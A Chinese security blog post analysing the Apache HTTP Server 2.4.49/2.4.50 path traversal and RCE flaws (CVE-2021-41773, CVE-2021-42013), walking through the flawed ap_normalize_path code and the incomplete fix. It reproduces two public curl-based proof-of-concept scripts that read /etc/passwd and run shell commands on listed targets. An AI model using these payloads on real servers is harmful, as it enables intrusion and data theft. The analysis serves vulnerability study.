freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【原创】Apache httpd CVE-2021-41773 漏洞分析
2021-12-15 01:41:39
所属地 新疆

漏洞说明

在Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击穿越到服务器目录以外。在开启CGI配置后(开启cgi并不是什么罕见之事),将会从目录穿越升级为RCE。

漏洞影响

Apache HTTP Server 2.4.49

Apache HTTP Server 2.4.50 (修复不完整 CVE-2021-42013)

漏洞成因

  1. 由于在Apache HTTP Server 2.4.48 升级到 Apache HTTP Server 2.4.49 时,对路径规范化所做的更改中出现漏洞,该漏洞是由于 server/util.c中的 ap_normalize_path函数 一次解析一个 Unicode 值并在所有字符都被解码之前尝试检测遍历逻辑导致的。

  2. 该漏洞默认配置情况下只存在目录遍历,但开启不受限制的 mod_cgi功能将会造成RCE

漏洞代码块

存在漏洞的代码块

# server/util.c 第 561 – 596 行

if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

与上一个代码块做对比

image.png

完整内容

AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
{
    int ret = 1;
    apr_size_t l = 1, w = 1;

    if (!IS_SLASH(path[0])) {
        /* Besides "OPTIONS *", a request-target should start with '/'
         * per RFC 7230 section 5.3, so anything else is invalid.
         */
        if (path[0] == '*' && path[1] == '\0') {
            return 1;
        }
        /* However, AP_NORMALIZE_ALLOW_RELATIVE can be used to bypass
         * this restriction (e.g. for subrequest file lookups).
         */
        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
            return 0;
        }

        l = w = 0;
    }

    while (path[l] != '\0') {
        /* RFC-3986 section 2.3:
         *  For consistency, percent-encoded octets in the ranges of
         *  ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D),
         *  period (%2E), underscore (%5F), or tilde (%7E) should [...]
         *  be decoded to their corresponding unreserved characters by
         *  URI normalizers.
         */
        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;
            }
        }

        if ((flags & AP_NORMALIZE_DROP_PARAMETERS) && path[l] == ';') {
            do {
                l++;
            } while (!IS_SLASH_OR_NUL(path[l]));
            continue;
        }

        if (w == 0 || IS_SLASH(path[w - 1])) {
            /* Collapse ///// sequences to / */
            if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
                do {
                    l++;
                } while (IS_SLASH(path[l]));
                continue;
            }


            if (path[l] == '.') {
                /* Remove /./ segments */
                if (IS_SLASH_OR_NUL(path[l + 1])) {
                    l++;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }

                /* Remove /xx/../ segments */
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                    /* Wind w back to remove the previous segment */
                    if (w > 1) {
                        do {
                            w--;
                        } while (w && !IS_SLASH(path[w - 1]));
                    }
                    else {
                        /* Already at root, ignore and return a failure
                         * if asked to.
                         */
                        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                            ret = 0;
                        }
                    }

                    /* Move l forward to the next segment */
                    l += 2;
                    if (path[l]) {
                        l++;
                    }
                    continue;
                }
            }
        }

        path[w++] = path[l++];
    }
    path[w] = '\0';

    return ret;
}

分析

当攻击者在 URL 中使用 /.%2e/时,第 572 行的逻辑不会将 %2e识别为句号,此时该字符尚未被解码。但该版本Apache HTTP Servers并没有在这种情况下将整体URL进行解码并匹配目录穿越过滤,导致 **/.%2e/**被 直接代入传递,导致目录穿越,具体如下

/* Remove /xx/../ segments */
                if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2]))
#上面的代码错误判断了目录穿越的payload,&& 判断只有在目录.的后面跟的是/或者空的时候才会触发次规则,并且没有解URL编码的%2e传入后并不会对%2e解码进行回溯验证,也不会对整体URL进行解码匹配,而是只识别了%,2,e


#define IS_SLASH(s) (s == '/')
#define IS_SLASH_OR_NUL(s) (s == '\0' || IS_SLASH(s))

然而该漏洞并不是所有情况下都能够RCE:

导致该漏洞从 目录穿越 / 敏感文件泄露 升级到RCE的关键是 开启了cgi配置

至于什么是CGI,互联网上的教程很多,这里就不在赘述

在一些CGI配置文件限制扩展名不全的情况下,在 **/cgi-bin/**目录下执行的所有文件都会被当作cgi脚本程序执行

所以出现了以下poc:

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 =3D=3D '' ]]; [[ $2 =3D=3D '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

后续

在2.4.49 -> 2.4.50版本中代码变更内容如下:

image.png

发现多了一个关键字 decode_unreserved,找一下,发现了533-541行

该处代码检查了以%开头,后两位解码后为 **-._~**字符的内容,但依旧没有对整体内容进行检查,也没有防止二次编码

if (decode_unreserved
                && path[l] == '%' && apr_isxdigit(path[l + 1])
                                  && apr_isxdigit(path[l + 2])) {
            const char c = x2c(&path[l + 1]);
            if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                /* Replace last char and fall through as the current
                 * read position */
                l += 2;
                path[l] = c;

可以看到,在该版本的代码特别的针对了%2e

/* Remove /xx/../ segments (or /xx/.%2e/ when
                 * AP_NORMALIZE_DECODE_UNRESERVED is set since we
                 * decoded only the first dot above).
                 */
                n = l + 1;
                if ((path[n] == '.' || (decode_unreserved
                                        && path[n] == '%'
                                        && path[++n] == '2'
                                        && (path[++n] == 'e'
                                            || path[n] == 'E')))
                    && IS_SLASH_OR_NUL(path[n + 1])) {
                    /* Wind w back to remove the previous segment */

但是他们好像忘记了URL双重编码...

所以POC(CVE-2021-42013):

# Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.50
# Tested on: 2.4.50
# CVE : CVE-2021-42013
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
echo ./PoC.sh targets.txt /bin/sh id

exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

在2.4.50 -> 2.4.51版本中代码变更内容如下:

image.png

成功修复了漏洞

附录

Apache Http Server 历史版本归档

# web安全 # apache漏洞 # RCE漏洞 # 目录穿越 # CVE-2021-41773
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者